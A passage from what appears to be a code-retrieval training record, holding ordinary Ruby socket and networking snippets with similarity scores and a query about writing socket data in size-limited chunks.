"def sockopen(host, port)\n socket = nil\n msg = nil\n timeout = 5.0\n socket = turbina_timeout(timeout, proc {TCPSocket.open(host, port)})\n return socket\n end",
"def protocol\n if @protocol.nil?\n @protocol = RbSync::Protocol::new(self.io, self.logger)\n else\n @protocol\n end\n end",
"def initialize(uri, soc, config={})\n @uri = uri\n @socket = soc\n @config = config\n @acl = config[:tcp_acl]\n @msg = DRbMessage.new(config)\n set_sockopt(@socket)\n end",
"def initialize (socket, team)\n @socket = socket\n @team = team\n end",
"def open_socket(url, options)\n uri = URI(url)\n port = uri.port || (uri.scheme == \"wss\" ? 443 : 80) # redundant? test uri.port if port is unspecified but because ws: & wss: aren't default protocols we'll maybe still need this(?)\n logger.debug \"Opening Connection to #{uri.hostname} on port #{port}\"\n io = TCPSocket.new uri.hostname, port\n return io unless uri.scheme == \"wss\"\n logger.debug \"Upgrading Connection #{io} to ssl\"\n ssl = upgrade_to_ssl(io, options).connect\n logger.info \"Connection #{io} upgraded to #{ssl}\"\n ssl\n end",
"def initialize(mode, type, **options)\n fail ArgumentError unless %i(bind connect).include? mode\n @context = options[:context] || EZMQ::Context.new\n @socket = @context.socket type\n @encode = options[:encode] || -> m { m }\n @decode = options[:decode] || -> m { m }\n endpoint = options.select { |k, _| %i(transport address port).include? k }\n method(mode).call endpoint\n end",
"def make_conn(spec)\n case @handling_mode\n when :cache\n cache_connect(spec)\n when :pool\n # not yet implemented\n nil\n else\n nil\n end\n end",
"def connect(endpoint,hash)\r\n\t\t\t@endpoint = endpoint\r\n\t\t\t@hash = hash\r\n\t\t\tbegin\r\n\t\t\t\tip,port = @endpoint.strip.split(/:/)\r\n\t\t\t\t@fd = TCPSocket.new(ip,port.to_i)\r\n\t\t\trescue\r\n\t\t\t\t## remove chatroom\r\n\t\t\t\traise 'SocketError'\r\n\t\t\tend\r\n\t\t\t@state = 're'\r\n\t\tend",
"def default_ssl_socket_class=(_arg0); end",
"def standard_port?; end",
"def port(msg)\n nums = msg.split(',')\n port = nums[4].to_i * 256 + nums[5].to_i\n host = nums[0..3].join('.')\n if thread[:datasocket]\n thread[:datasocket].close\n thread[:datasocket] = nil\n end\n thread[:datasocket] = TCPSocket.new(host, port)\n debug \"[DEBUG] Opened passive connection at #{host}:#{port}\"\n \"200 Passive connection established (#{port})\"\n end",
"def udp_socket\n Thread.current[:statful_socket] ||= UDPSocket.new(Addrinfo.udp(@config[:host], @config[:port]).afamily)\n end",
"def initialize(socket, context = nil)\n socket = socket.respond_to?(:io) ? socket.io || socket : socket\n context ? orig_initialize(socket, context) : orig_initialize(socket)\n end",
"def set_up_local_ports\n if @unix\n @udp_socket = Socket.new(:UNIX, :DGRAM, 0)\n address = Addrinfo.unix(@unix)\n @udp_socket.bind(address)\n else\n @udp_socket = UDPSocket.new\n @udp_socket.bind nil, @port\n end\n @logger.debug \"Binding UDP socket localhost:#{@port}\"\n @tcp_socket = nil\n end",
"def protocol_name\n PROTOCOLS[protocol.to_s]\n end",
"def type?\n raise NotImplementedError, \"Socket type is not supported.\"\n end"
] | [
"0.7638809",
"0.76018035",
"0.7379566",
"0.6930905",
"0.6860626",
"0.6855656",
"0.6850141",
"0.67452824",
"0.6710426",
"0.6586399",
"0.6557928",
"0.65422267",
"0.648376",
"0.6447988",
"0.64448607",
"0.64063406",
"0.6371792",
"0.6362339",
"0.6320656",
"0.62736696",
"0.62477463",
"0.6207986",
"0.62029284",
"0.62017673",
"0.6179418",
"0.6165965",
"0.6138207",
"0.61349976",
"0.6122125",
"0.6092439",
"0.60852283",
"0.6074854",
"0.60576284",
"0.60572267",
"0.6047081",
"0.60444653",
"0.60119855",
"0.600461",
"0.600461",
"0.600461",
"0.600461",
"0.600461",
"0.5987474",
"0.59784937",
"0.5961831",
"0.5938681",
"0.59007996",
"0.5893131",
"0.58888143",
"0.58856463",
"0.58806044",
"0.5867374",
"0.5840583",
"0.58374804",
"0.58352894",
"0.58344364",
"0.5822186",
"0.58202493",
"0.5808818",
"0.58082503",
"0.57968295",
"0.57915664",
"0.57845455",
"0.57759684",
"0.5767178",
"0.5762556",
"0.57601744",
"0.57499486",
"0.5748978",
"0.57385415",
"0.5738029",
"0.572995",
"0.5726062",
"0.57248557",
"0.572357",
"0.572357",
"0.57186264",
"0.5707975",
"0.569363",
"0.5685625",
"0.5685015",
"0.56800747",
"0.566197",
"0.5634954",
"0.56333977",
"0.56275195",
"0.56118435",
"0.5610735",
"0.560999",
"0.56048465",
"0.55805314",
"0.5563075",
"0.5558239",
"0.55506164",
"0.55356234",
"0.5515797",
"0.5513543",
"0.5497813",
"0.5483978",
"0.54823273"
] | 0.7315933 | 3 |
Write data to the underlying socket, limiting the sizes of the writes based on the pipe_write_min / pipe_write_max options. | def write(data)
max_write = self.options['pipe_write_max_size'] || data.length
min_write = self.options['pipe_write_min_size'] || max_write
if(min_write > max_write)
max_write = min_write
end
idx = 0
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
while(idx < data.length)
bsize = (rand(max_write-min_write)+min_write).to_i
len = self.socket.write(data[idx, bsize])
idx += bsize
end
else
self.socket.write(data)
end
data.length
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write(data)\n begin\n @socket.sync = false\n if data.nil?\n write_timeout([0, 0, @seq].pack(\"CvC\"), @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n else\n data = StringIO.new data if data.is_a? String\n while d = data.read(MAX_PACKET_LENGTH)\n write_timeout([d.length%256, d.length/256, @seq].pack(\"CvC\")+d, @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n end\n end\n @socket.sync = true\n @socket.flush\n rescue Errno::EPIPE\n @socket.close rescue nil\n raise ClientError::ServerGoneError, 'MySQL server has gone away'\n rescue Errno::ETIMEDOUT\n raise ClientError, \"write timeout\"\n end\n end",
"def write(data)\n reset_timer\n\n begin\n return socket.write_nonblock(data)\n rescue IO::WaitWritable\n IO.select(nil, [socket], nil, time_left)\n log_time\n retry\n end\n rescue EOFError\n :eof\n end",
"def write(data)\n rescue_writable do\n socket.write_nonblock(data)\n end\n end",
"def do_write(*args)\n # This method used to forward arguments to @socket.write in a\n # single call like so:\n #\n # @socket.write(*args)\n #\n # Turns out, when each buffer to be written is large (e.g. 32 MiB),\n # this write call would take an extremely long time (20+ seconds)\n # while using 100% CPU. Splitting the writes into chunks produced\n # massively better performance (0.05 seconds to write the 32 MiB of\n # data on the same hardware). Unfortunately splitting the data,\n # one would assume, results in it being copied, but this seems to be\n # a much more minor issue compared to CPU cost of writing large buffers.\n args.each do |buf|\n buf = buf.to_s\n i = 0\n while i < buf.length\n chunk = buf[i...i+WRITE_CHUNK_SIZE]\n @socket.write(chunk)\n i += WRITE_CHUNK_SIZE\n end\n end\n end",
"def write(data)\n reset_timer\n\n loop do\n result = socket.write_nonblock(data, :exception => false)\n return result unless result == :wait_writable\n\n IO.select(nil, [socket], nil, time_left)\n log_time\n end\n end",
"def write(data)\n timeout = false\n loop do\n result = @socket.write_nonblock(data, :exception => false)\n return result unless result == :wait_writable\n\n raise TimeoutError, \"Write timed out after #{@write_timeout} seconds\" if timeout\n\n timeout = true unless @socket.to_io.wait_writable(@write_timeout)\n end\n end",
"def blocking_write( data )\n raise RuntimeError, \"RAWIP: blocking_write: Not connected!\" unless connected?\n begin\n @ssock.send(data, 0, @addr)\n rescue\n destroy_connection\n raise RuntimeError, \"RAWIP: blocking_write: Couldn't write to socket! (#{$!})\"\n end\n end",
"def blocking_write( data )\r\n raise RuntimeError, \"CONN_UDP: blocking_write: Not connected!\" unless connected?\r\n begin\r\n @sock.send(data, 0)\r\n rescue\r\n destroy_connection\r\n raise RuntimeError, \"CONN_UDP: blocking_write: Couldn't write to socket! (#{$!})\"\r\n end\r\n end",
"def send_pending_data\n needs_looping = true\n while needs_looping\n needs_looping = false\n pending_data.delete_if do |socket, chunks|\n if chunks.empty?\n # nothing left to send for this socket\n next\n end\n\n buffer = chunks.shift\n while !chunks.empty? && (buffer.size + chunks[0].size < DATA_CHUNK_SIZE)\n buffer.concat(chunks.shift)\n end\n Server.debug \"sending #{buffer.size} bytes to #{socket}\"\n\n begin\n written = socket.write_nonblock(buffer)\n rescue Interrupt\n raise\n rescue Errno::EAGAIN\n Server.debug \"cannot send: send buffer full\"\n chunks.unshift(buffer)\n next\n rescue Exception => e\n Server.warn \"disconnecting from #{socket}: #{e.message}\"\n e.backtrace.each do |line|\n Server.warn \" #{line}\"\n end\n socket.close\n next(true)\n end\n\n remaining = buffer.size - written\n if remaining == 0\n Server.debug \"wrote complete chunk of #{written} bytes to #{socket}\"\n # Loop if we wrote the complete chunk and there\n # is still stuff to write for this socket\n needs_looping = !chunks.empty?\n else\n Server.debug \"wrote partial chunk #{written} bytes instead of #{buffer.size} bytes to #{socket}\"\n chunks.unshift(buffer[written, remaining])\n end\n false\n end\n end\n end",
"def write_to_socket bytes\n socket.write_nonblock bytes\n rescue IO::WaitWritable\n :wait_writable\n end",
"def write_pipe(input)\n written = @pipe.write(input)\n @pipe.flush\n\n if written != input.length # rubocop:disable Style/GuardClause\n msg = \"Only wrote #{written} out of #{input.length} expected bytes to PowerShell pipe\"\n raise Errno::EPIPE.new, msg\n end\n end",
"def notify_writeable limit\n send_proc = proc do |data, finished: false|\n _flush_data data, finished: finished\n end\n @tap.call limit, send_proc\n end",
"def write(buf, opts = {})\n total_sent = 0\n total_length = buf.length\n block_size = 32768\n\n synchronize_access {\n begin\n while( total_sent < total_length )\n s = Rex::ThreadSafe.select( nil, [ fd ], nil, 0.2 )\n if( s == nil || s[0] == nil )\n next\n end\n data = buf[total_sent, block_size]\n sent = fd.write_nonblock( data )\n if sent > 0\n total_sent += sent\n end\n end\n rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK\n return nil if self.close_resource\n # Sleep for a half a second, or until we can write again\n Rex::ThreadSafe.select( nil, [ fd ], nil, 0.5 )\n # Decrement the block size to handle full sendQs better\n block_size = 1024\n # Try to write the data again\n retry\n rescue ::IOError, ::Errno::EPIPE\n return nil\n end\n }\n\n total_sent\n end",
"def write(data, timeout=nil)\n #connect if !connected?\n if writable?(timeout)\n return @socket.syswrite(data)\n else\n raise FTW::Connection::WriteTimeout.new(self.inspect)\n end\n end",
"def write data\n _data[:out].write data\n _data[:out].flush\n end",
"def send_data(pipe, data)\n pipe.write(data, \"\\n#{MSG_ENDI}\\n\")\nend",
"def write(*args)\n begin\n raise Bunny::ConnectionError.new(\"No connection: socket is nil. \", @host, @port) if !@socket\n if @read_write_timeout\n Bunny::Timer.timeout(@read_write_timeout, Bunny::ClientTimeout) do\n @socket.write(*args) if open?\n end\n else\n @socket.write(*args) if open?\n end\n rescue Errno::EPIPE, Errno::EAGAIN, Bunny::ClientTimeout, Bunny::ConnectionError, IOError => e\n close\n\n @session.handle_network_failure(e)\n end\n end",
"def send_data(socket, data)\n begin\n socket.write([data.length].pack(PACKET_HEADER_FORMAT))\n socket.write(data)\n rescue Errno::ECONNABORTED, Errno::ECONNRESET, Errno::EPIPE, Errno::ENOTCONN\n on_disconnect(socket)\n end\n end",
"def write(data, timeout = -1)\n data = data.to_s\n logger.trace('#write ==> sending', data) if defined?(SemanticLogger::Logger) && logger.is_a?(SemanticLogger::Logger)\n start_time = Time.now\n bytes_sent =\n begin\n super(data)\n rescue SystemCallError => exception\n logger.warn \"#write Connection failure: #{exception.class}: #{exception.message}\"\n close if close_on_error\n raise Net::TCPClient::ConnectionFailure.new(\"Send Connection failure: #{exception.class}: #{exception.message}\", address.to_s, exception)\n rescue Exception\n # Close the connection on any other exception since the connection\n # will now be in an inconsistent state\n close if close_on_error\n raise\n end\n if defined?(SemanticLogger::Logger) && logger.is_a?(SemanticLogger::Logger)\n logger.benchmark_debug(\"#write ==> #{bytes_sent} bytes\", duration: (Time.now - start_time))\n else\n logger.debug(\"#write ==> #{bytes_sent} bytes. #{'%.1f' % (Time.now - start_time)}ms\")\n end\n end",
"def write(data)\n @mutex.synchronize { @buffer = @buffer.dup.concat(data) }\n pump_buffer\n Reactor.selector.wakeup unless monitor.interests == :r\n end",
"def ssl_socket_write(ssl_socket, data)\n log.chunder('ssl_socket_write')\n\n begin\n return ssl_socket.write_nonblock(data)\n rescue IO::WaitReadable\n log.chunder('WaitReadable') # XXX\n IO.select([ssl_socket.io])\n log.chunder('WaitReadable retry') # XXX\n retry\n rescue IO::WaitWritable\n log.chunder('WaitWritable') # XXX\n IO.select(nil, [ssl_socket.io])\n log.chunder('WaitWritable retry') # XXX\n retry\n end\n ensure\n log.chunder('done ssl_socket_write')\n end",
"def send(data)\n sock = UDPSocket.new\n if JSON.dump(data).bytesize <= 65507 #Check UDP Limit\n sock.send(JSON.dump(data), 0, @remote_addr, @remote_port.to_i)\n else\n puts \"Log-entry skipped as it's too large for datagram/system: \\n #{JSON.pretty_generate(data)}\\n\\n\" end\n sock.close\n end",
"def send_data(io, data)\n loop do\n n = io.syswrite(data)\n return if n == data.bytesize\n data = data[n..-1]\n end\n end",
"def write(data)\n @write_buffer << data\n post do\n begin\n @monitor&.interests = :rw\n rescue EOFError => e\n # Monitor is closed\n logger.error \"Error when writing: #{e.message}\"\n end\n end\n end",
"def write(data)\n ret = io.write data\n @receivers.each do |r|\n Fiber.new { r.call data }.resume\n end\n ret\n end",
"def on_body(env, data)\n # append data to the write end of the pipe if open, otherwise do nothing\n env[\"tus.input-writer\"].write(data) unless env[\"tus.input-writer\"].closed?\n rescue Errno::EPIPE\n # read end of the pipe has been closed, so we close the write end as well\n env[\"tus.input-writer\"].close\n end",
"def send_data(data)\n logdebug \"send_data:\", :data => data\n attempt_write(data)\n end",
"def socket_write(socket, data)\n case socket\n when TCPSocket\n socket.write(data)\n when OpenSSL::SSL::SSLSocket\n ssl_socket_write(socket, data)\n else\n raise ArgumentError.new(\"Unexpected socket type: #{socket.inspect}\")\n end\n end",
"def write(data)\n result = @socket.write(data)\n\n @socket.flush\n return result\n end",
"def write(data)\n @handle.writeData(data)\n end",
"def send( data )\n # Final text data header:\n header = 0b10000001\n\n # Payload size to use (data will always be unmasked):\n size = \"#{data}\".size\n\n # Standard payload:\n if size < 126 then\n @connection.write [ header, size, \"#{data}\" ].pack \"C2A#{size}\"\n\n # 16-bit extended payload:\n elsif size <= 65535 then\n bytes = [ size ].pack( \"S\" ).unpack( \"C2\" ).reverse.map( &:to_i )\n @connection.write [ header, 126, *bytes, \"#{data}\" ]\n .pack \"C4A#{size}\"\n\n # 64-bit extended payload:\n else\n bytes = [ size ].pack( \"S\" ).unpack( \"C8\" ).reverse.map( &:to_i )\n @connection.write [ header, 127, *bytes, \"#{data}\" ]\n .pack \"C10A#{size}\"\n end\n end",
"def write_and_schedule sock\n outbound_data.each_with_index do |t_data,index|\n leftover = write_once(t_data,sock)\n if leftover.empty?\n outbound_data.delete_at(index)\n else\n outbound_data[index] = leftover\n reactor.schedule_write(sock)\n break\n end\n end\n reactor.cancel_write(sock) if outbound_data.empty?\n end",
"def push(io, data)\n packet = Marshal.dump data\n lenbytes = [packet.bytesize].pack(LEN_PACK)\n io.write lenbytes\n io.write packet\n io.flush\n end",
"def syswrite(args)\n\t lsock.write(*args)\n end",
"def flush writes\n total = 0\n while bytes = writes.shift\n next unless bytes.bytesize > 0\n\n num_bytes = begin\n @io.write_nonblock(bytes)\n rescue IO::WaitWritable, Errno::EAGAIN\n 0\n end\n\n if num_bytes > 0\n @io.flush\n total += num_bytes\n end\n\n # If the write could not be completed in one go, or if there are\n # more writes pending ...\n if num_bytes == 0\n writes.unshift bytes\n @selector.enable_write @io\n break\n elsif num_bytes < bytes.bytesize\n writes.unshift bytes.byteslice(num_bytes..bytes.bytesize)\n @selector.enable_write @io\n break\n end\n end\n rescue IOError, Errno::EPIPE, Errno::ECONNRESET => e\n @selector.remove [@io]\n @listener.trigger_error e\n rescue => e\n log(Logger::ERROR, self.to_s + '#flush', e.to_s)\n @selector.enable_write @io\n ensure\n @listener.trigger_write total\n return writes\n end",
"def send data\n data = [data.bytesize, *data.bytes].pack 'NC*'\n\n @socket.send data, 0\n end",
"def send_raw(data)\n # puts \"Sending data\"\n # puts_data(data)\n write(data)\n end",
"def send_data( data )\n\t\tjson = data.to_json\n\t\tbytes = json.bytesize\n\t\tputs \"SEND %3i bytes to %s: %s\" % [bytes,name,json] if $DEBUG\n\t\tunless @socket.closed?\n\t\t\[email protected] [bytes].pack('n')\n\t\t\tunless @socket.closed?\n\t\t\t\[email protected](json) == bytes\n\t\t\tend\n\t\tend\n\tend",
"def write(data)\r\n Win32API.new(\"msvcrt\", \"_write\", \"lpl\", \"l\").call(@fd, data, 1)\r\n end",
"def sendmsg(message)\n begin\n @socket.sendmsg_nonblock Marshal.dump(message), 0\n rescue IO::EAGAINWaitWritable\n # socket is full\n # TODO put the data into a queue rather than giving up\n raise RuntimeError, \"socket is full\"\n rescue Errno::EPIPE\n # The other socket is closed, probably because the event loop's stopped. clean up\n b.close\n @defunct = true\n end\n end",
"def writetosocket(priority)\n loop do\n mes=@sendqueue[priority].pop\n begin\n @socket.write(mes)\n rescue StandardError,SocketError,IOError\n break\n end\n sleep(priority)\n end\n \n @sendthreads[priority]=nil\n self.close\n Thread.current.exit\n end",
"def push_write_data(new_bytes = nil)\n @write_thread ||= Thread.current\n if @write_thread != Thread.current\n raise InternalError,\n \"cross-thread access to droby channel: \"\\\n \"from #{@write_thread} to #{Thread.current}\"\n end\n\n @write_buffer.concat(new_bytes) if new_bytes\n written_bytes = io.syswrite(@write_buffer)\n\n @write_buffer = @write_buffer[written_bytes..-1]\n !@write_buffer.empty?\n rescue Errno::EWOULDBLOCK, Errno::EAGAIN\n if @write_buffer.size > max_write_buffer_size\n raise ComError,\n \"droby_channel reached an internal buffer size of \"\\\n \"#{@write_buffer.size}, which is bigger than the limit \"\\\n \"of #{max_write_buffer_size}, bailing out\"\n end\n rescue SystemCallError, IOError\n raise ComError, \"broken communication channel\"\n rescue RuntimeError => e\n # Workaround what seems to be a Ruby bug ...\n if e.message =~ /can.t modify frozen IOError/\n raise ComError, \"broken communication channel\"\n else\n raise\n end\n end",
"def puts data\n\t\t@write_semaphore.synchronize do\n\t\t\t@write_data = data\n\t\t\t@write_cv.signal\n\t\tend\n\tend",
"def send_data(data)\n @lock.synchronize do\n\n @send_buffer += data\n limited_by_polling = (@last_send + @http_polling >= Time.now)\n limited_by_requests = (@pending_requests + 1 > @http_requests)\n\n # Can we send?\n if !limited_by_polling and !limited_by_requests\n data = @send_buffer\n @send_buffer = ''\n\n Thread.new do\n Thread.current.abort_on_exception = true\n post_data(data)\n end\n\n elsif !limited_by_requests\n Thread.new do\n Thread.current.abort_on_exception = true\n # Defer until @http_polling has expired\n wait = @last_send + @http_polling - Time.now\n sleep(wait) if wait > 0\n # Ignore locking, it's already threaded ;-)\n send_data('')\n end\n end\n\n end\n end",
"def write(data, *args, **kwd); end",
"def push_write_buffer data, frame\n @write_mutex.synchronize {\n update_last_write_activity if @write_buffer.empty?\n @write_buffer << [data, frame] unless @closing\n }\n end",
"def write( transfer_until: )\n\t\t\tif !@pending_write\n\t\t\t\t@pending_write = true\n\t\t\t\t@transfer_until = transfer_until\n\n\t\t\t\tFiber.schedule do\n\t\t\t\t\tconnect\n\n\t\t\t\t\t# transfer data blocks of up to 65536 bytes\n\t\t\t\t\t# until the observed connection is writable again or\n\t\t\t\t\t# no data left to read\n\t\t\t\t\tloop do\n\t\t\t\t\t\tlen = 65536\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tread_str = @internal_io.read_nonblock(len)\n\t\t\t\t\t\t\tprint_data(\"write-transfer #{write_fds}\", read_str)\n\t\t\t\t\t\t\tsleep 0\n\t\t\t\t\t\t\t@external_io.write(read_str)\n\t\t\t\t\t\t\tif @transfer_until.is_a?(IO)\n\t\t\t\t\t\t\t\tres = IO.select(nil, [@transfer_until], nil, 0) rescue nil\n\t\t\t\t\t\t\t\tif res\n\t\t\t\t\t\t\t\t\tputs \"stop writing - #{@transfer_until.inspect} is writable again\"\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\trescue IO::WaitReadable, Errno::EINTR\n\t\t\t\t\t\t\t@internal_io.wait_readable\n\t\t\t\t\t\t\tretry\n\t\t\t\t\t\trescue EOFError, Errno::ECONNRESET\n\t\t\t\t\t\t\tputs \"write_eof from #{write_fds}\"\n\t\t\t\t\t\t\t@external_io.close_write\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\t\tbreak if @transfer_until != :eof && (!read_str || read_str.bytesize < len)\n\t\t\t\t\tend\n\t\t\t\t\t@until_writeable = false\n\t\t\t\t\t@pending_write = false\n\t\t\t\tend\n\n\t\t\telsif (transfer_until == :wouldblock && @transfer_until.is_a?(IO)) ||\n\t\t\t\t\ttransfer_until == :eof\n\t\t\t\t# If a write request without stopping on writablility comes in,\n\t\t\t\t# make sure, that the pending transfer doesn't abort prematurely.\n\t\t\t\t@transfer_until = transfer_until\n\t\t\tend\n\t\tend",
"def write(data)\n # black hole, because we don't actually care about what gets written\n end",
"def send_data(data, options = T.unsafe(nil)); end",
"def write(bytes)\n loop do\n written = 0\n begin\n # unlike plain tcp sockets, ssl sockets don't support IO.select\n # properly.\n # Instead, timeouts happen on a per write basis, and we have to\n # catch exceptions from write_nonblock, and gradually build up\n # our write buffer.\n written += @ssl_socket.write_nonblock(bytes)\n rescue Errno::EFAULT => error\n raise error\n rescue OpenSSL::SSL::SSLError, Errno::EAGAIN, Errno::EWOULDBLOCK, IO::WaitWritable => error\n if error.is_a?(OpenSSL::SSL::SSLError) && error.message == 'write would block'\n if select_with_timeout(@ssl_socket, :write)\n retry\n else\n raise Errno::ETIMEDOUT\n end\n else\n raise error\n end\n end\n\n # Fast, common case.\n break if written == bytes.size\n\n # This takes advantage of the fact that most ruby implementations\n # have Copy-On-Write strings. Thusly why requesting a subrange\n # of data, we actually don't copy data because the new string\n # simply references a subrange of the original.\n bytes = bytes[written, bytes.size]\n end\n end",
"def flush\n if !@write\n return @transport.flush\n end\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def send_chunk(data)\n response.write('%x' % data.size + \"\\r\\n\")\n response.write(data + \"\\r\\n\")\n end",
"def send_packet( type, data=nil )\n buffer = @buffers.writer\n buffer.write_long( ( data ? data.length : 0 ) + 1 )\n buffer.write_byte type.to_i\n buffer.write data.to_s if data\n @socket.send buffer.to_s, 0\n end",
"def put(buf, opts = {})\n return 0 if (buf == nil or buf.length == 0)\n\n send_len = buf.length\n send_idx = 0\n wait = opts['Timeout'] || 0\n\n # Keep writing until our send length drops to zero\n while (send_idx < send_len)\n curr_len = timed_write(buf[send_idx, buf.length-send_idx], wait, opts)\n\n # If the write operation failed due to an IOError, then we fail.\n return buf.length - send_len if (curr_len == nil)\n\n send_len -= curr_len\n send_idx += curr_len\n end\n\n return buf.length - send_len\n end",
"def write(data)\n end",
"def write(data)\n outfile.write(data)\n outfile.close unless outfile.tty?\n end",
"def write(string)\n length = string.length\n while 0 < length\n IO::select(nil, [@sock])\n @dumplog.log_dump('>', string[-length..-1]) if @options.has_key?(\"Dump_log\")\n length -= @sock.syswrite(string[-length..-1])\n end\n end",
"def receive_data(data)\n log \"<< #{data.size}\"\n @write_to_channel << data\n end",
"def send_data_packet( data )\n # overhead is ( byte.length + id.length + strlen.length ) = 9\n data, data_to_return = split_data_for_packet( data.to_s, 9 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_DATA\n msg.write_long @remote_id\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end",
"def send_output_io! data\n output_io.write data\n self\n rescue ::SystemExit, ::Interrupt, ::SignalException\n raise\n rescue ::Exception => exc\n $stderr.puts \"#{Time.now.utc.iso8601} #{$$} #{self} ERROR in send_output_io! #{exc.inspect}\"\n if @socket\n @socket.close rescue nil\n @socket = nil\n end\n self\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(*data); end",
"def write(data)\n return 0 unless data.is_a?(String)\n\n size = data.bytesize\n return 0 if size == 0\n\n # TBD verify this overflow calc\n raise(PageHandlerError, \"data size=#{data.bytesize} is larger than usable page size=#{@page_usable_size} (#{@page_size} - #{2 * INT_BYTES})\") if size > @page_usable_size\n\n offset = @meta.head_page_offset\n if size > (@page_usable_size - offset)\n # data size is larger than usable data size left, move head to next page\n @meta.head_page_index += 1\n @meta.head_page_offset = offset = 0\n end\n buffer = mmap_buffer(@meta.head_page_index)\n buffer.position = offset\n buffer.put_int(size)\n buffer.put_bytes(data)\n\n # write a trailing 0 after the data. on next push, this will be overwritten with next data size\n # since offset will be set on this trailing zero, otherwise if we changed page, trailing zero\n # will be set.\n buffer.put_int(0)\n @meta.head_page_offset = offset + size + INT_BYTES\n @meta.size += 1\n\n size\n end",
"def send(data)\n @socket.send(data, SEND_FLAGS)\n end",
"def send! data\n send_output_io! data if @output_io || host\n send_log_io! data if log_io\n self\n end",
"def on_writable\n @being_written = nil\n return unless res = responses.first\n if res.finished?\n responses.shift\n if res.last \n FFI::connection_schedule_close(self) \n return\n end\n end \n write\n end",
"def _wire_write(sock, data)\n # p [ \"debug_01\", @protocol, @usecrlf ]\n if @protocol >= Stomp::SPL_12 && @usecrlf\n wiredata = \"#{data}#{Stomp::CR}#{Stomp::LF}\"\n # p [ \"wiredataout_01:\", wiredata ]\n sock.write(wiredata)\n else\n # p [ \"wiredataout_02:\", \"#{data}\\n\" ]\n sock.puts data\n end\n end",
"def write(*args)\n raise Errors::ConnectionFailure, \"Socket connection was closed by remote host\" unless alive?\n handle_socket_errors { super }\n end",
"def write(data)\n @data << data\n end",
"def push packet\n begin\n @socket_server.write packet\n rescue Errno::ECONNRESET => e\n p e.message\n close\n reset_connection\n rescue Errno::EPIPE => e\n p e.message\n close\n reset_connection\n rescue Errno::ECONNREFUSED => e\n p e.message\n close\n reset_connection\n end\n end",
"def write(data)\n partial = @stream_cipher.update(data.to_s)\n @ios.write(partial) if partial.length > 0\n data.length\n end",
"def timed_write(buf, wait = def_write_timeout, opts = {})\n if (wait and wait > 0)\n Timeout.timeout(wait) {\n return write(buf, opts)\n }\n else\n return write(buf, opts)\n end\n end",
"def send_raw(data)\n socket.send_raw data\n end",
"def write(data)\n ssl_socket.puts(data)\n end",
"def send(data, flags = 0)\r\n SocketError.check if (ret = Winsock.send(@fd, data, data.size, flags)) == -1\r\n ret\r\n end",
"def write(*args)\n case args.count\n when 0\n raise ArgumentError, \"missing arguments\"\n when 1\n data = args.first\n else\n data = args\n end\n\n enable do\n case data\n when Numeric\n Rpio.driver.spi_transfer(data)\n when Enumerable\n Rpio.driver.spi_transfer_bytes(data)\n else\n raise ArgumentError, \"#{data.class} is not valid data. Use Numeric or an Enumerable of numbers\"\n end\n end\n end",
"def write!(handle, offset, data, &callback)\n wait_for(write(handle, offset, data, &callback))\n end",
"def limit=(limit)\n @monitor.synchronize {\n assert(limit > 0) { \"Buffer size limit must be greater than zero.\" }\n\n old_messages = messages\n @limit = limit\n new_buffer\n old_messages.each { | msg | accept(msg) } \n limit\n }\n end",
"def send_event( data )\n\t\tuntil data.empty?\n\t\t\tbytes = self.socket.sendmsg_nonblock( data, 0, exception: false )\n\n\t\t\tif bytes == :wait_writable\n\t\t\t\tIO.select( nil, [self.socket], nil )\n\t\t\telse\n\t\t\t\tself.log.debug \"Sent: %p\" % [ data[0, bytes] ]\n\t\t\t\tdata[ 0, bytes ] = ''\n\t\t\tend\n\t\tend\n\tend",
"def do_write # :nodoc:\n yield\n\t \n\t if defined?(MAX_FILE_SIZE) && (wio.tell > MAX_FILE_SIZE)\n\t\tnew_file\n\t end\n\tend",
"def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def write(s)\n @port.write(s)\n sleep(@wait_after_send / 1000.0) if @wait_after_send\n end",
"def write(data, offset = 0)\n # Track our offset into the remote file\n fptr = offset\n\n # Duplicate the data so we can use slice!\n data = data.dup\n\n # Take our first chunk of bytes\n chunk = data.slice!(0, self.chunk_size)\n\n # Keep writing data until we run out\n while (chunk.length > 0)\n ok = self.client.write(self.file_id, fptr, chunk)\n cl = ok['Payload'].v['CountLow']\n\n # Partial write, push the failed data back into the queue\n if (cl != chunk.length)\n data = chunk.slice(cl - 1, chunk.length - cl) + data\n end\n\n # Increment our painter and grab the next chunk\n fptr += cl\n chunk = data.slice!(0, self.chunk_size)\n end\n end",
"def write_data(data_p)\n if data_p.size > @size\n raise Moon::OverflowError, 'given dataset is larger than internal'\n elsif data_p.size < @size\n raise Moon::UnderflowError, 'given dataset is smaller than internal'\n end\n @data.replace(data_p)\n end",
"def send_data( type, data )\n data = data.to_s\n\n msg = @buffers.writer\n msg.write_long data.length + 1\n msg.write_byte type\n msg.write data\n\n @channel.send_data msg\n end",
